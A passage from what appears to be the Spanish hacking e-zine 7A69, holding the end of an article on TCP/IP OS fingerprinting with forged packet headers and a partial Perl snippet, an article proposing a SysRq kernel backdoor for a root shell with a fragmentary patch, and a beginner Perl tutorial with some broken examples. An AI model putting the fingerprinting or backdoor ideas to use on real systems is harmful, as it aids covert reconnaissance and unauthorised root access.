| SEND | INFO |
|---------------------------------------------------------|
| | |
| SYN | Determina el estado del puerto |
| | |
| SYN+ACK | Prueba con SYN|ACK |
| | |
| FIN | Prueba con FIN |
| | |
| FIN+ACK | Prueba con FIN|ACK |
| | |
| SYN+FIN | Prueba con SYN|FIN |
| | |
| PSH | Prueba con PSH |
| | |
| SYN+XXX+YYY | Prueba con SYN|XXX|YYY |
| | |
+---------------------------------------------------------+



Determina el estado del puerto

Ante todo, un paquete SYN es enviado para determinar si el puerto esta
en estado de escucha. Si asi es, reciviremos una respuesta SYN|ACK. De lo
contrario, reciviremos una respuesta de tipo RST|ACK. Ademas de la
respuesta, cada uno de los 7 paquetes tambien determinan el seqnum, acknum,
y ventana TCP si estos estan presentes en la cabecera del paquete.


Falsificacion de cabeceras

Para limitar el ancho espectro de posibles sistemas operativos, un
paquete formado por queso (tanto si es SYN, SYN|ACK, FIN,..) contiene una
IP falsificada y informacion de cabeceras TCP, asi como informacion
adicional insertada en las dos bandera TCP sin emplear (XXX y YYY). Las
banderas no usadas en TCP, XXX y YYY respectivamente en este ejemplo,
normalmente no cambian el estado del paquete y son seguros usandolos en
conjuncion con cualquier otro valor de la cabecera.

Lo siguente es un diagrama de las IP falsificadas y las cabeceras TCP, junto
con sus valores falsificados. La informacion include en los siguientes
diagramas esta basado en lo definido en "tcpip.c" incluido en la herramienta
para la deteccion remota de so, queso. Dependiendo del tipo de huella
digital quieras detectar, puedes querer cambiar los valores que ves
fijados.


+--------------------------+
| Cabecera IP falsificada |
|----------------------------------------------------+
| Longitus de la cabecera | 5 |
| version de ip | 4 (IPv4) |
| tos | 0 |
| Longitud total | 40 |
| offset | 0 |
| id | 31337 + <puerto-orig> |
| ttl | 255 |
| origen | <dir-origen> |
| destino | <dir-destino> |
| ip checksum | variable |
| protocolo | tcp |
+----------------------------------------------------+


+---------------------+
| Forged TCP Header |
|------------------------------------------------------+
| puerto destino | <puerto-orig> |
| destination port | <puerto-dest |
| seq | variable |
| ack | 0 |
| ( x2_offset | 0x50 (80) ) |
| x2 (no usado) | 0 a no ser que sea x2_offset |
| offset | 5 a no ser que sea x2_offset |
| banderas | variable |
| suma de chequeo TCP | variable |
| Ventana TCP | 0x1234 (4660) |
| puntero urgente | 0 |
+------------------------------------------------------+


Estas IP falsificadas y cabeceras TCP son de gran importancia para la
precision de los tests de las banderas TCP. Lo siguiente es un ejemplo de
un escaneo raw completo de Queso contra una maquina Linux 2.0.35:
(T1-7 == test 1 a traves del 7).


T1 - SYN

+------------+ SYN +-------------------+
| | -----------------------------------> | |
| Origen | | Destino |
| | <----------------------------------- | |
+------------+ SYN|ACK +-------------------+
|
+-----------------------------+
| Informacion del paquete: |
|-----------------------------|
| |
| respuesta: SYN|ACK |
| seq: 1 (yes) |
| ack: 1 (yes) |
| ventana TCP: 0x7FE0 (32736) |
+-----------------------------+
| T1:SA:1:1:0x7FE0 |
+-----------------------------+


T2 - SYN|ACK

+------------+ SYN|ACK +-------------------+
| | -----------------------------------> | |
| Origen | | Destino |
| | <----------------------------------- | |
+------------+ RST +-------------------+
|
+------------------------------+
| Informacion del paquete: |
|------------------------------|
| |
| respuesta: RST |
| seq: 0 (no) |
| ack: 0 (no) |
| ventana TCP: 0 (no) |
+------------------------------+
| T2:R:0:0:0 |
+------------------------------+


T3 - FIN

+------------+ FIN +-------------------+
| | -----------------------------------> | |
| Origen | | Destino |
| | <----------------------------------- | |
+------------+ No hay respuesta +-------------------+
|
+--------------------------+
| Informacion del paquete: |
|--------------------------|
| |
| respuesta: - (nada) |
| seq: - (nada) |
| ack: - (nada) |
| ventana TCP: - (nada) |
+--------------------------+
| T3:-:-:-:- |
+--------------------------+


T4 - FIN|ACK

+------------+ FIN|ACK +-------------------+
| | -----------------------------------> | |
| Origen | | Destino |
| | <----------------------------------- | |
+------------+ RST +-------------------+
|
+--------------------------+
| Informacion del paquete: |
|--------------------------|
| |
| respuesta: RST |
| seq: 0 (no) |
| ack: 0 (no) |
| ventana TCP: 0 (no) |
+--------------------------+
| T4:R:0:0:0 |
+--------------------------+


T5 - SYN|FIN

+------------+ SYN|FIN +-------------------+
| | -----------------------------------> | |
| Origen | | Destino |
| | <----------------------------------- | |
+------------+ SYN|FIN|ACK +-------------------+
|
+-----------------------------+
| Informacion del paquete: |
|-----------------------------|
| |
| respuesta: SYN|FIN|ACK |
| seq: 1 (si) |
| ack: 1 (si) |
| ventana TCP: 0x7FE0 (32736) |
+-----------------------------+
| T5:SFA:1:1:0x7FE0 |
+-----------------------------+


T6 - PSH

+------------+ PSH +-------------------+
| | -----------------------------------> | |
| Origen | | Destino |
| | <----------------------------------- | |
+------------+ no hay respuesta +-------------------+
|
+--------------------------+
| Informacion del paquete: |
|--------------------------|
| |
| respuesta: - (nada) |
| seq: - (nada) |
| ack: - (nada) |
| ventana TCP: - (nada) |
+--------------------------+
| T6:-:-:-:- |
+--------------------------+


T7 - SYN|XXX|YYY

+------------+ SYN|XXX|YYY +-------------------+
| | -----------------------------------> | |
| Origen | | Destino |
| | <----------------------------------- | |
+------------+ SYN|ACK +-------------------+
|
+-----------------------------+
| Informacion del paquete: |
|-----------------------------|
| |
| respuesta: SYN|ACK |
| seq: 1 (si) |
| ack: 1 (si) |
| ventana TCP: 0x7FE0 (32736) |
+-----------------------------+
| T7:SA:1:1:0x7FE0 |
+-----------------------------+


Una vez hemos dirigido los 7 tests es hora de encontrar (o no :)) una
coincidencia para estos.

T1:SA:1:1:0x7FE0
T2:R:0:0:0
T3:-:-:-:-
T4:R:0:0:0
T5:SFA:1:1:0x7FE0
T6:-:-:-:-
T7:SA:1:1:0x7FE0

Vemos haber encontrado una coincidencia con: Linux 2.0.35


Desempe~ando estos 7 tests y alterando las cabeceras TCP e IP tenemos una
mas precisa representacion del posible sistema operativo. Diferentes
sistemas operativos trataran estos tests, y las cabeceras manipuladas de
diferente manera, lo cual hace mas facil el grabar su huella digital. Esta
es la filosofia de "cuanto mas, mejor". Cuantas mas cosas envies al sistema
operativo, probablemente haran que tengas una identificacion mas precisa y
certerade que sistema operativo es.

Lo siguiente es un codigo de ejemplo para la identificacion de huella
digital basada en la pila TCP y con distintas banderas (la tecnica de
Queso). Este no es el codigo entero dado que haria esto es un archivo de
codigo en lugar de lo que es, un documento :). En el siguiente segmento
de codigo puedes editar cualquier bandera si necesitar establecer las 7
peticiones.



#!/usr/bin/perl

usa Net::RawIP;

# QueSO.pl [ por f0bic ]
# [ Bueno, al menos parte de el :) ]
#
# Aqui es donde se usa la conexion SOCK_RAW.
# Puedes usar Socket w/ SOCK_RAW o usar Net::RawIP. La que quieras.
#
# Puedes fijar el valor de cualquier bandera que quieras dependiendo
# que tipo de escaneo busques realizar. Simplemente edita la
# sintaxis :)

# $id = "31337" + $sport;
# $csum = rand();
#
# Test 5 - SYN|FIN
#
# $packet->set({ ip => { saddr => $src, daddr => $daddr, ihl => "5", version => "4",
# tos => "0", tot_len => "40", frag_off => "0", ttl => "255",
# id => $id, check => $csum },
#
# tcp => { source => $sport, dest => $dport, syn => 1, fin => 1,
# seq => $seq, ack_seq => "0", doff => "5", check => $csum,
# window => "0x1234", urg_ptr => "0"} });
#
# Houston, hemos despegado :)
#

sub fingerprint_syn_fin { # Aqui es donde el reconocimiento de huella digital procesa el escaneo SYN|FIN;

$packet->bset(substr($_[2],$offset));
my ($saddr, $desaddr, $soport, $deport, $windowsize, $ack, $fin, $syn, $psh, $urg, $rst, $seq, $seq_ack) =
$packet->get( {ip => [qw(saddr daddr)],
tcp => [qw(source dest window ack fin syn psh urg rst seq seq_ack)]
});
# Estoy seguro que este punto lo puedes hacer por ti mismo.

# I'm sure from this point on you can figure it out on your own.
# fin (=1 para si / =0 para no), etc.. etc.. :)

}


---
Ventajas: rapido, mas preciso que TSN y la identificacion de huella digital
TSN.
Desventajas: requiere privilegios de superusuario, escaneos multiples pueden
ser detectados por sistemas con IDS.
---


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Herramientas de identificacion de huella digital basadas en TCP y con
multiples banderas (Queso):

1. nmap
Autor: Fyodor
Disponible en: http://www.insecure.org/nmap

2. QueSO
Autor: savage / apostols.org
Disponible en: http://packetstorm.securify.com/UNIX/scanners/queso-980922.tar.gz

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



5. Herramientas de identificacion de huella digital de SO pasivos / Mapeo de
redes.

Lance Spitzner publico un documento realmente bueno sobre este tema (expuesto
debajo), en el cual describe la tecnica de identificacion de huella digital
de servidores sin que ellos se enteren. El concepto en si radica en poner en
modo promiscuo y buscando huellas digitales en los paquetes recibidos. Esto
es basicamente la misma idea que una identificacion de huella digital basada
en TCP (TSF), pero nos ahorramos el primer paso --enviar un paquete fuera--
de tal forma que esnifemos el trafico de red. Haciendo uso de esta tecnica,
se puede ganar informacion sobre los puertos abiertos, etc. En otras
palabras, mapea Internet entero (Copyright Subterrain.Net en Toorcon/Defcon).

Dado que esta tecnica es muy similar a la identificacion de huella digital
basada en la pila TCP, voy a entrar en detalles con esto. He aqui un diagrama
basico del concepto:




+--> Flujo del trafico de red (si lo se, parece lamer)
|
|
====================================================================
|
|
+----------------+
| |
| Sniffer pasivo |
| |
+----------------+
|
+--------------------------------------+
| Paquetes esnifados: |
|--------------------------------------|
|#1 - Origen : <dir-origen> |
| Dest. : <dir-dest> |
| puerto-O : <puerto-orig> |
| puerto-D : <puerto-dest> |
| Ventana TCP: <tama~o de ventana> |
| tos : <tos> |
| ttl : <ttl> |
| mss : <mss> |
| DF : Encendido/apagado |
|--------------------------------------|
|#2 - ...... |
| |
+--------------------------------------+



Basandonos en los valores que hemos recopilado, podemos deducir de forma mas
o menos precisa el sistema operativo de la misma forma que hicimos con TSF.
Tambien usamos un archivo con coincidencias de huellas digitales y comparamos
los valores obtenidos con los valores incluidos en ese archivo.

Desde que Craig Smith desarrollo passfind, una herramienta de reconocimiento
de huella digital con tecnica pasiva en Perl, he decidido no poner codigo
perl sobre el tema, de forma que puedes su codigo tu mismo y probarlo.
I decided not to put up perl code, so you can look at his code and check it out.


Articulo de Lance Spitzner para la identificacion de huella digital de forma
pasiva:
http://packetstorm.securify.com/papers/IDS/fingerprinting.txt


---
Ventajas: rapido, mismo nivel de precision que TSF totalmente sigiloso.
Desventajas: requiere privilegios de superusuario, no se tiene un objetivo
fijo.
---


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Herramientas para la identificacion de huella digital de forma pasiva /
Herramientas de mapeo de red:

1. Siphon
Autor: bind & aempirei / subterrain security group
Disponible en: http://www.subterrain.net/projects/siphon/

2. Passfing
Autor: Craig Smith
Disponible en: http://packetstorm.securify.com/UNIX/IDS/passfing.tar.gz

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



V. Conclusion y Referencias

A pesar de que estas tecnicas de deteccion de SO son muy precisas,
y dan una clara vision del sistema operativo que el host puede estar
ejecutando, no pueden darte siempre su version. Algunos sistemas
operativos a veces tienen la misma huella digital, lo cual hace de
la precision algo laborioso. De nuevo, tecnicas nuevas se avecinan
para conseguir que la identificacion de huella digital sea mas facil
y puede que tambien de forma mas sigilosa.



Referencias, Agradecimientos & Gracias:
References, Reconocimientos & Thanks:


TESO
TelnetFP
http://teso.scene.at/

Subterrain Security Group
The Siphon Project
http://www.subterrain.net/projects/siphon/

Els Apostols
Por hacer posible Queso

Nmap OS detection
http://www.insecure.org/nmap/nmap-fingerprinting-article.html

Dethy
Synnergy Networks (http://www.synnergy.net)
1. Por inspirarme a escribir este documento
2. Por hacer un Net::RawIP elite ;)

Craig Smith
Passfing

Lance Spitzner
"IDing Remote Hosts without them knowing about it"
Passive Fingerprinting Article



Contacto:

f0bic@low-level.net
http://www.low-level.net

-=(EOF)=-



-=( 7A69#11 )=--=( art6 )=--=( Linux )=--=( trycky )=-

Bueno espero que os guste este doc sobre el sysrq que llevaba time intentando
hacer pero que lo terminare de explicar en los siguientes numeros del zine por
razon de tiempo no podio hacer todo lo que debia xP . Para cualquier cosa si
quieres ponerte en contacto conmigo manda un mail a trycky@7a69ezine.org o
trycky_83@mixmail.com como os venga en gana .

El sysrq es una propiedad que trae el kernel de linux que con una combinacion
de teclas el kernel efectuara operaciones que podremos hacer que el kernel nos
saque por la terminal el estado de la memoria o matar procesos por medio de
sysrq tambien . Para poder usar estas facilidades tendremos que compilar el
kernel con la opcion 'CONFIG_MAGIC_SYSRQ=y' o si haceis menuconfig pos en la
opcion Kernel Hacking activais el sysrq . Si tais usando combinaciones de
kernels que algunos usan y otros no usan el sysrq tendreis que volver
activarlo mismamente podeis hacerlo a si :

lepton:~# sysctl -w kernel/sysrq=1
kernel/sysrq = 1

Aunque prederterminadamente se os pondra . Ahora os preguntareis que teclas
son las que hay que pulsar por defecto es la combinacion de la tecla alt+print
aunque esta tecla de puede cambiar para ello hara falta recompilar el kernel
y modificar el fichero "/usr/src/linux/include/asm-i386/keyboard.h" obiamente
si tais en un en otra arquitectura que no es x86 pos esa linea cambia xD .
Hay que cambiar la linea (todas estas pruebas tan echas en el kernel 2.4.4pre8
pero no supongo que varien las headers mucho y mas en estas) :

40:#define SYSRQ_KEY 0x54

Esta linea la cambiariamos por cualquier otra sentencia de teclas que nos
gustase hay que ponerla en format hexadecimal aumque creo que es evidente
para saber alguna combinacion podremos usar el "showkey" :

lepton:/usr/src/linux# showkey -s
kb mode was XLATE

Y aqui vamos ya probando a las que mas comoda nos sea el programa se cierra
cuando pasan 10 segundos . Bueno ya sabemos algo mas del sysrq pero aqui no
acaba todo hace tiempo me pare a pensar y si se pudiera poner una backdoor en
el sysrq , si poca gente tiene activado el sysrq y menos aun el src del kernel
para que podamos aplicar un parche pero la idea me gusto y otra de las cosas
que me atrajo la atencion fue el poder hacer un programa que emulase la entrada
del teclado para a si remotamente poder usar el sysrq y si sois malas personas
podriais reiniciar la maquina remotamente , etc .

Por lo que vamos a poner manos a la obra y a crear una backdoor para el sysrq
algo cutre y necesitaremos acceso local pero haya vamos . Lo primero sera
modificar el sysrq.c del src del kernel . Podemos hacer que cuando haga la
ejecucion de las teclas alt+print+z , nos crease uan shell con setsuid
tenemos que tener pensado que cuando programos en el kernel no se usan las
funciones standards es decir la funcion open() por ejemp deberiamos de usar
la funcion sys_open() , pero para esto lo mejor es leerse un documento de LKM
sobre linux . Y sobre la backdoor tener presente una cosa realmente cuando
invocamos al sysrq no lo hacemos desde nuestra euid si no desde uid=0 , debido
a que cuando pulsamos las teclas es igual que si tuviesemos llamando desde el
kernel por lo que no podremos hacer el viejo truco de 'current->euid=0' dado
que realmente actuamos desde pid=0 , etc . Pongo un ejemplo para parchear en
sysrq.c , Supongo que sereis mas que eficientes para saber por donde poner esto
os pondria un diff pero son mu grandes y tengo el sysrq.c con demasiadas cosas
metidas xP .

<++> sysrq/cutre

extern void *sys_call_table[];
int (*o_getpid)(pid_t);
int (*o_geteuid)(uid_t);

int pid,uid;

case 'z':
printk("Que se nos cuelan Mr.root pid=(%d) uid=(%d) desde la tty %d\n",pid=(*o_ge\tpid),uid=(*o_geteuid),current->tty);
break;

<-->

Puse esta linea a lo cutre haber si funciona total toca recompilar el kernel
y mira haber . Si ya se que es muy cutre pero es solo para que veamos si
funciona. Cuando recompileis el kernel vereis a lo que me referia por lo que
de backdoor e preferido optar por hacer una algo mas sencilla que te una shell
de root en /tmp. Aunque tendremos que tener mas optativas todas ellas y mas en
el 7a69#12 xD .

Por razones de tiempo el source con las mejoras saldra en el num 7a69#12 .

Aqui os pego las teclas para el sysrq sacadas de la doc del kernel de linux :

'r' - Turns off keyboard raw mode and sets it to XLATE.

'k' - Secure Access Key (SAK) Kills all programs on the current virtual
console. NOTE: See important comments below in SAK section.

'b' - Will immediately reboot the system without syncing or unmounting
your disks.

'o' - Will shut your system off (if configured and supported).

's' - Will attempt to sync all mounted filesystems.

'u' - Will attempt to remount all mounted filesystems read-only.

'p' - Will dump the current registers and flags to your console.

't' - Will dump a list of current tasks and their information to your
console.

'm' - Will dump current memory info to your console.
'0'-'9' - Sets the console log level, controlling which kernel messages
will be printed to your console. ('0', for example would make
it so that only emergency messages like PANICs or OOPSes would
make it to your console.)

'e' - Send a SIGTERM to all processes, except for init.

'i' - Send a SIGKILL to all processes, except for init.

'l' - Send a SIGKILL to all processes, INCLUDING init. (Your system
will be non-functional after this.)

'h' - Will display help ( actually any other key than those listed
above will display help. but 'h' is easy to remember :-)

--

Queria agradecer a Ripe toda la paciencia que tiene conmigo xP pos nada espero
que os guste este articulo y que las 2 parte os guste mas donde pondre todos
los sources que ido haciendo del sysrq y varias cosas mas que tengo que
programar .

trycky : trycky@7a69ezine.org

-=(EOF)=-



-=( 7A69 E-zine 11 )=--=( art5 )=--=( Programacion en Perl )=--=( OvErDrIvE )=-

======================================
Programacion en Perl I
======================================

He decidido escribir este primer apartado como introducción a PERL y conceptos
de programación en PERL, pero tengo pensado escribir 3 o 4 apartados mas en
numeros posteriores o quizas mas, ya veremos. De paso mando un saludo a
markit0s, que es el que me introdujo y me ha ayudado a aprender este lenguaje
de programacion y muchas cosas mas. De momento este es el primer apartado,que
es el basico, en el proximo texto que sera de un nivel medio, mas tarde el
tercer texto que sera avanzado y posiblemente un cuarto texto de Perl orientado
a objetos. Estos articulos los he escrito siguiendo algunos libros de Perl que
he leido. Bien, sin mas preámbulos comencemos.

========
=Indice=
========
+ Introduccion a Perl
+ Conceptos basicos
+ El primer programa
+ Almacenamiento de datos
+ Operadores
+ Secuencias de escape
+ Matrices
+ Procesamientos de datos en Perl
+ Otros operadores
+ Operadores para trabajar con valores numéricos
+ Operaciones con cadenas de texto
+ Operadores para comparaciones numericas
+ Operadores para comparar cadenas
+ Sentencias y bucles
+ Ruptura de bucles
+ STDIN y STDOUT

===================
Introduccion a Perl
===================

En este documento intentara explicar una parte de programaci¢n en PERL
que significa Practical Extraction and Report Language. Perl a diferencia de
los lenguajes de los lenguajes de programaci¢n tradicionales como c/c++, no
necesita un compilador para generar programas ejecutables. Un programa en Perl
es un archivo de texto, este puede ejecutarse sin mas que utilizar un
interprete Perl.

Perl, en un principio se dise¤o para extraer informacion de ficheros de texto y
generar informes.

La versi¢n 5 de perl (actualmente la £ltima), soporta programacion orientada a
objetos. Debido a sus ra¡ces Perl ha sido siempre popular entre los
administradores de sistemas UNIX, cuando la World Wide Web se empezo ahacer
popular y hubo necesidad de programas CGI (Common Gateway Interface o
Interfaz de Pasarela Com£n), perl, comenz¢ a "crecer", y es es estandar para
escribir programas CGI.

=================
Conceptos basicos
=================

No quiero extenderme mucho en este apartado, pero deber  saber el
significado de los siguientes conceptos en cualquier lenguaje de programaci¢n:

- Variables: Almacenan datos. El contenido de la variable es su valor.
Ejemplo; $nombre_del_libro
$precio_del_libro
- Expresiones: Combinan variables usando operadores.
Ejemplo; $precio_total = $precio_del_libro * 10;
(Calcular¡a el precio de 10 libros).
- Sentencias: Realizan alguna acci¢n, como asignar un valor a una
variable o visualizar una cadena...
Ejemplo; $nombre_del_libro = "El Quijote";
- Sentencias de control de flujo: Son la estructura condicional
if-then-else y bucles do-while.
Ejemplo; if ($precio_total > 1000)
{
print "Ha gastado m s de lo permitido\n";
}
else
{
print "Ha gastado menos del tope 1000\n";
}
- Funciones: Agrupan distintas sentencias y se les da un nombre.

==================
El primer programa
==================

El primer programa, como siempre ser  el m s simple, sacaremos una
cadena de caracteres por la salida est ndar (la pantalla). Haremos el t¡pico
programa para novatos, el hello world. Copie el siguiente c¢digo y gu rdelo
como un archivo hola.pl

#!usr/bin/perl
#primer programa en perl
print "Hola mundo!!!\n";

Bien, no hay mucho que explicar, pero si a alguien no le ha quedado
claro, comentar‚ l¡nea por l¡nea el programa. La primera linea de programa
indica al sistema unix, que el fichero con el que est  trabajando es un
programa escrito en Perl. La segunda linea, es un comentario (todo lo que
comience por # escepto la primera linea, el programa los ignorar  y solo sirve
para que el programador, haga aclaraciones, notas, etc.). La tercera l¡nea
utiliza la funci¢n print para sacar por pantalla lo que sigue entre comillas.
El \n indica una nueva l¡nea.

Facil, no? la verdad es que m s simple no pod¡a ser. Pero he decidido
empezar desde 0, para que todo el mundo lo entienda, aunque no sepa nada de
programaci¢n y nunca haya programado.

Para ejecutar el programa en un sistema unix o variantes, deberemos de
hacelo ejecutable, si est  familiarizado con cualquier sistema unix, seguro
que esto lo tiene demasiado claro. Para ello utilice el comando chmod de la
siguiente forma: chmod +x hola.pl. Luego ejecutelo escribiendo perl hola.pl.

=======================
Almacenamiento de datos
=======================

Los datos se almacenan en variables, para luego trabajar con ellos.
Hay 4 tipos de almacenamiento de datos:

- Variables escalares: almacenan elementos de datos £nicos.
Ejemplo; $precio = 2500;
$autor = "Robert L. Ziegler";
- Variables matriciales/arrays: son listas de variables escalares.
Ejemplo; @comandos = ("Nuevo", "Abrir", "Guardar", "Salir");
- Matrices asociativas: son colecciones de parejas clave, en las que
la clave es una cadena y el valor es cualquier
valor escalar.
Ejemplo; %gastos = ("Javi" => 200.9,
"Pedro => 190,
"
Raul => 1900.95");

Hagamos un segundo programa, donde por ejemplo, calcule el precio, de
cierto producto y saque cierta informaci¢n por pantalla:

#!usr/bin/perl
# Calcula el precio de cualquier producto

#Definimos las variables
$titulo = "
El Quijote";
$precio = "
7995";
$numero = "
5";

#Expresi¢n donde se calcula el total
$total = $precio * $numero

#Sacamos la informaci¢n por pantalla
print "
El precio de $numero libros $titulo es de $total\n";

Bien, ya tenemos el segundo programa, en el cual podemos cambiar el
valor de las variables a nuestro antojo, seg£n el caso que sea. Intente hacer
un programa que calcule por ejemplo el iva de un producto, ver  como es muy
simple.

==========
Operadores
==========

Los operadores son los siguientes:

+ Suma
- Resta
* Multiplica
/ divide

Hay m s operadores, pero de momento, utilice estos. A medida que vaya
avanzando utilizar  m s operadores.

====================
Secuencias de escape
====================

La secuencia de escape es la barra invertida seguida por uno o m s
caracteres. Son las siguientes:

\a --> pitido
\b --> espacio atr s
\cn --> control+N (N es cualquier car cter)
\e --> car cter de escape
\f --> comienzo de la siguiente p gina
\l --> convierte la siguiente letra en min£scula
\n --> nueva linea
\r --> retorno de carro
\t --> tabulado
\u --> convierte la siguiente letra en may£scula
\L --> convierte todos los caracteres posteriores en min£sculas
hasta el siguiente \E
\U --> convierte todos los caracteres posteriores en may£sculas
hasta el siguiente \E
\E --> fin de las secuencias de escape \L y \U
\"
--> visualiza comilla
\$ --> visualiza d¢lar
\\ --> visualiza barra invertida
\Onn -> inserta d¡gitos octales nn
\xnn -> inserta d¡gitos hexadecimales nn

Imagine que desea guardar el listado de un directorio en una variable
ser¡a de la siguiente forma:

$list = 'ls' #para sistemas UNIX
¢
$list = 'dir' #para windows

========
Matrices
========

La matriz se define con una secuencia de valores escalares separados
por comas y encerrados por par‚ntesis, como se muestra de la siguiente manera:

@arc_perl = ("hello.pl", "var.pl", "print.pl");

aunque podr¡amos hacerlo de la misma manera si es un listado de un
directorio, de la siguiente manera:

@arc_perl = 'ls *.pl';

Cada elemento en una matriz es una variable escalar y es posible
acceder a ‚l conociendo su posici¢n en la matriz. Siendo el primer elemento
de la matriz $arc_perl[0], el segundo $arc_perl[1] y as¡ sucesivamente, debe
de fijarse que en realidad cada elemento es una variable y no una matriz, por
lo que debe cambiarse el s¡mbolo @ (de matriz) por el de $ (de variable
escalar). Tambi‚n debe de anotar, de que si desea acceder al £ltimo elemento
de la matriz debe de usar el ¡ndice -1, de la siguiente forma $arc_perl[-1].

Si desea contar los elementos de una matriz, se debe inicializar una
variable escalar con el nombre de una matriz, de la siguiente manera:

@colors = ("rojo", "azul", "verde", "amarillo");
$num_colors = @colors;
print "Tenemos $num_colors\n"; #imprimir  un 4

Otra forma de obtener el n£mero de elementos de una matriz es usar la
variable escalar $#arrayname (que es el nombre de una variable matricial) que
almacena el £ltimo ¡ndice de la matriz. $#num_colors es 3.

Pasemos ahora a explicar la matriz @ARG, perl define esta matriz
usando todos los argumentos de la l¡nea de comandos cuando el programa se
inicializa. Esto ser¡a un ejemplo para que quede m s claro:

#!/usr/bin/perl
print "Bienvenido $ARG[0],\n";
print "Gracias por ejecutar nuestro programa.\n";

Si ejecut semos este programa llamado arg.pl escribiendo lo siguiente:

perl arg.pl Javi

El programa dar¡a la siguiente salida:

Bienvenido Javi
Gracias por ejecuta nuestro programa.

Bien, m s o menos ya tenemos claro algo sobre las matrices, pero ahora
aprenderemos a a¤adir o eliminar los elementos de una matriz.

Imagine que tenemos los siguientes elementos en una matriz:

@names = ("Pedro", "Javi", "Paula", "Lorena");

Si deseamos extraer el primer elemento de la matriz @names deberemos
utilizar la funci¢n shift, de la forma siguiente:

$elim_primer = shift @names;

Lo que hace esto es quita el elemento Pedro de la matriz @names, por
lo que esta matriz disminuir  el n£mero de elementos qued ndose en 3 elementos
y el elementos extraido (Pedro) se a¤adir  a la variable escalar $elim_primer.

Si desea empezar por extraer el £ltimo elemento de una matriz deber 
usar la funci¢n pop, veamos un ejemplo para que quede m s claro:

@names = ("Pedro", "Javi", "Paula", "Lorena");
$elim_ultimo = pop @names;

Esto eliminar  el ultimo elemento de @names que es "Lorena", utilice
la print si desea ver los resultados por pantalla, que resulta muy c¢modo.
Tambi‚n puede ver el antes y el despu‚s para ver como actuan las funciones que
ha utilizado, de la siguiente forma:

@names = ("Pedro", "Javi", "Paula", "Lorena");
print "Tenemos estos nombres al principio\n @names\n.";
$elim_ultimo = pop @names;
print "Pero al utilizar la funcion pop, tenemos \n @names \n.";
print "Y el valor que ha sido extraido es $elim_ultimo\n.";

Sencillo, no? esto resulta muy £til, de forma que ve lo que se est 
haciendo en todo momento, y que se ha eliminado y que no... etc.

Hasta ahora hemos visto como eliminar elementos en una matriz, pero
ahora tenemos que saber como a¤adir elementos a una matriz.

Para a¤adir elementos a la matriz utilizaremos las funci¢n unshift,
que a¤ade un elemento al principio de la matriz y aumenta el tama¤o de la
misma en una unidad, ser¡a de la siguiente manera:

@names = ("Pedro", "Pablo", "Javi");
unshift (@names, "Juan", "Marcos");

Por lo que la matriz habr  aumentado en 2 unidades, y el orden ser¡a
el siguiente Juan, Marcos, Pedro, Pablo y Javi.

Ahora bien, si queremos a¤adir elementos a una matriz, pero esta vez
al final de una matriz, deberemos utilizar la funci¢n push de la siguiente
manera:

@names = ("Pedro", "Pablo", "Javi");
push (@names, "Juan", "Marcos");

En este caso la matriz @names contiene cinco elementos en el siguiente
orden; Pedro, Pablo, Javi, Juan y Marcos.

Vay mos m s adelante, e intentemos dar nuevos pasos y aprender as¡
nuevas t‚cnicas de programaci¢n. Pasemos a explicar como clasificar los
elementos de la matriz. Si queremos clasificar los elementos de la matriz por
orden alfab‚tico, debemos recurrir a la funci¢n sort. La funci¢n sort devuelve
una matriz clasificada, pero no altera la matriz original, es decir que se
debe guardar el resultado de la clasificaci¢n en otra matriz. Veamos un
ejemplo para que esto quede un poco m s claro:

@names = ("Juan","Pedro", "Marcos", "Dani", "Patricia");
@alf_names = sort(@names);

Es decir, la matriz @names ser¡a el conjunto de estos elementos
ordenados de la siguiente manera; Juan, Pedro, Marcos, Dani y Patricia.
Mientras que la matriz @alf_names ser¡a el conjunto de estos elementos
ordenados de la siguiente manera; Dani, Juan, Marcos, Patricia y Pedro. Es
decir la primera matriz no es modificada, sin¢ que es creada una nueva matriz
con los elementos de la primera pero con su orden cambiado.

Tambi‚n podemos usar la funci¢n splice, que puede remplazar una parte
de la matriz por otra matriz. La funci¢n splice elimina un n£mero de elementos
dado por el par metro longitud, inserta la matriz indicada en el lugar que
ocupaban los elementos borrados. La sintaxis de splice es la siguiente:

splice(@antiguo, desplazamiento, longitud, @nuevo);

Queda claro? veamos un ejemplo para evitar confusiones.

@names = ("Pedro", "Javi", "Arturo", "Pablo", "Juan");
@nuevo = ("Jovi", "Minero");
splice (@names, 3, 1, @nuevo);
print "@names\n";

Si ejecutamos este programa, se producir¡a la siguiente salida:

Pedro, Javi, Arturo, Jovi, Minero, Juan.

Bien, por si no queda claro os lo explico; f¡jese en la matriz @names,
la funcion splice salta "3" elementos y borra solo "1" y all¡ mismo inserta
los elementos de la matriz @nuevo, que son Jovi y Minero, quedando el orden
por detr s de todos escepto de Juan. Creo que ahora ha quedado m s claro.

Bien, m s o menos las matrices han quedado claras, pasemos ahora a las
matrices asociativas. Que mejor, para verlo que un ejemplo:

%gastos = ("Jovi", 1000,
"Minero" 999,
"Juan" 100,
"Javi" 350,
"Alberto" 60);
$jovi_gastos = $gastos{"Jovi"};
print "Jovi gast¢ \$$jovi_gastos.\n";

La salida de este programa ser¡a la siguiente:

Jovi gast¢ $1000.

En las matrices asociativas, a un elemento de la matriz se le asocia
otro elemento de la matriz, a diferentes personas se les asignan sus gastos
(que cada uno es diferente). Se busca el elemento de la matriz mediante el
nombre para saber el gasto, definimos una variable nueva en este caso esa
variable es $jovi_gastos, a la que se le busca a que elemento pertenece, que
se busca de esta manera $gastos{"Jovi"} donde utiliza el valor asociado a Jovi
que es 1000. Para comprenderlo mejor, haced ejemplos de matrices asociativas.

Bien, imagine que desea a¤adir un "hueco" para un nuevo nombre que
est‚ asociado a un gasto, se har¡a de la siguiente forma:

%gastos = ("Pablo" => 100,
"Pedro" => 350,
"Javi" => 670);
#a¤adimos un nuevo elemento a la matriz asociativa
$gastos {"Juan"} = 390;

El elemento Juan con gasto 390, ser  a¤adido a la matriz asociativa,
despu‚s de que la matriz %gastos halla sido creada.

Pasemos ahora a explicar la matriz asociativa %ENV. La variable PATH
guarda un valor que consiste en una lista de nombres de directorio, donde el
sistema operativo (tanto windows como linux, unix y dem s) guardan donde han
de buscar los comandos para el sistema, comandos como ls, pwd, etc.

En UNIX la variable de ambiente PATH se define mediante la siguiente
cadena:

/usr/local/bin:/bin:/usr/bin:/usr/etc:/usr/X11/bin:

